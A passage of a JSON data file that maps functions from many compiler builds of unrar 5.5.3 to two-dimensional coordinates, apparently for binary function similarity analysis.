"./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 5.063456058502197, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -2.840425968170166}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": -22.586061477661133, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 4.406278133392334}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": -23.728775024414062, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.189949989318848}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": -23.728954315185547, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.16134262084961}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 17.953554153442383, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": -3.9120733737945557}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 17.955169677734375, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": -3.9089901447296143}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 17.955169677734375, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": -3.9089901447296143}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -21.212324142456055, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.934373378753662}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -22.005775451660156, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.110347747802734}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -21.754047393798828, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.515486717224121}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -20.49187660217285, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.010904788970947}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -21.2269287109375, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.113437652587891}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -20.856651306152344, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.585411548614502}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -20.64299964904785, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.364197731018066}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -21.53749656677246, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.620908737182617}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -10.52087116241455, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 13.382781982421875}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": -23.638408660888672, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 15.351336479187012}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -23.64213752746582, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 15.345605850219727}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -19.200660705566406, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 13.99586296081543}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -19.204177856445312, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 13.987016677856445}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -17.427099227905273, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 16.809925079345703}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -17.849361419677734, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 17.052249908447266}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -17.20074462890625, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 17.5671443939209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -17.71068000793457, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 17.532928466796875}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -17.01622200012207, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 17.109067916870117}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -11.87782096862793, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 14.55568790435791}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -11.451902389526367, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 13.592284202575684}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -11.450600624084473, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 13.593464851379395}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -12.064929962158203, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 16.579030990600586}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -12.066278457641602, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 16.57657814025879}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": -16.081626892089844, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.259108543395996}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": -16.038936614990234, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.113698959350586}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -14.48110294342041, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 11.152420043945312}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -14.755887031555176, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 9.98533821105957}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -14.909028053283691, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.540973663330078}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -14.22944450378418, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.168570518493652}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -15.044397354125977, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 11.063848495483398}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -14.090063095092773, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 10.731362342834473}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -18.312368392944336, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 12.808371543884277}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -18.312368392944336, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 12.808371543884277}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -18.204538345336914, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 12.905756950378418}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.580670356750488, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 14.19517993927002}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.580670356750488, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 14.19517993927002}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.580573081970215, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 14.20075798034668}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -16.480302810668945, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.469890594482422}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -15.999492645263672, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.550291538238525}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -16.706857681274414, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 5.933589458465576}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -15.919997215270996, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.050232410430908}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -16.361528396606445, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime", "y": 6.278299808502197}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 18.49557876586914, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 20.298545837402344}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 18.500255584716797, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 20.3035945892334}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 18.48897933959961, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 20.298376083374023}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 12.098946571350098, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.30060386657715}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 12.09830379486084, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.29867935180664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 11.998632431030273, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 16.38994598388672}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": 11.995722770690918, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 16.395017623901367}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 11.996830940246582, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 16.39263153076172}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 14.856927871704102, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.42679214477539}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 14.856927871704102, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.426790237426758}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 14.858240127563477, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.426376342773438}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 16.296648025512695, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 14.70170783996582}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": 16.289173126220703, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 14.70478630065918}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 16.283937454223633, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 14.7225980758667}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 5.966269493103027, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.81688690185547}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 5.967179298400879, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.823129653930664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 5.966269493103027, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.81688690185547}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 8.780814170837402, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.135875701904297}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 8.780814170837402, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.135875701904297}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 8.780814170837402, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.135875701904297}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 10.757194519042969, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 17.152685165405273}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 15.374767303466797, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.429243087768555}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 15.374750137329102, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.429155349731445}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 10.7161865234375, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.48109245300293}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 10.714488983154297, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.4749813079834}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 10.711791038513184, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 25.46798324584961}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 9.306463241577148, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 21.99738311767578}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 7.360489845275879, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 21.755313873291016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 7.360532760620117, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 21.755746841430664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 7.361057281494141, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 21.756620407104492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": 8.911452293395996, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 17.408475875854492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 11.058170318603516, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.590694427490234}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 11.05883502960205, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.589256286621094}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 11.058170318603516, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.590694427490234}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 8.690781593322754, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.83186912536621}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 9.484033584594727, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 23.960250854492188}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 3.0899994373321533, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 24.132469177246094}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 3.0904669761657715, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 24.131174087524414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 3.0926413536071777, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 24.136423110961914}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.739400863647461, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.684921264648438}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.737010955810547, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.682720184326172}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.7315871715545654, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.68092918395996}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 2.581996202468872, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.527864456176758}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 2.584583044052124, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.53126335144043}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 2.58317232131958, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 27.533098220825195}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -0.2784973978996277, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.85627555847168}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -0.28447890281677246, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.859872817993164}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -0.27822792530059814, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 19.859928131103516}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 8.423871040344238, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 18.5505428314209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 8.423539161682129, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 18.552616119384766}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 2.084226369857788, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.078060150146484}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 2.084733247756958, "function_name": "_ZN6Unpack12CopyString20Ej", "y": 22.07805061340332}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": -3.88189435005188, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.7834737300872803}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": -3.5231454372406006, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.8044064044952393}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -3.55544376373291, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 4.199025630950928}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -3.9155430793762207, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 4.180476665496826}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -1.3521333932876587, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.81639289855957}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -1.1288381814956665, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.898663520812988}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -0.9612692594528198, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.926915168762207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -0.7578495144844055, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.402074813842773}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -0.7122225761413574, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.408690452575684}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -1.0492159128189087, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.361685752868652}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": -4.6910881996154785, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 11.987150192260742}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": -4.692434787750244, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 11.987706184387207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -10.898028373718262, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -9.852456092834473}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -10.844019889831543, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -10.224041938781738}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -10.522405624389648, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -10.50879955291748}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 7.914181709289551, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.056550979614258}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 7.9147186279296875, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.058034896850586}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -9.185908317565918, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.66461181640625}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -9.184033393859863, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.66477108001709}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": 6.556387901306152, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -11.393918991088867}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": 6.560927867889404, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -11.396851539611816}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.nopie.ELF", "x": -10.872321128845215, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 4.32515811920166}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.8.0.1.nopic.nopie.ELF", "x": -10.963204383850098, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 4.623049736022949}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": -11.932392120361328, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -3.53053617477417}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": -11.930809020996094, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -3.5305330753326416}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -3.8899004459381104, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.677251815795898}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -4.181033134460449, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.45009994506836}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -3.940613269805908, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.137256622314453}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -3.6509852409362793, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.370079040527344}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 1.4025615453720093, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.020208358764648}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 1.4047387838363647, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.00778865814209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 1.4041587114334106, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 13.027632713317871}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": -6.1583333015441895, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 7.183805465698242}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": -6.158393859863281, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 7.1870503425598145}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.848822593688965, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 14.242694854736328}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.8529205322265625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 14.245915412902832}, {"file_name": 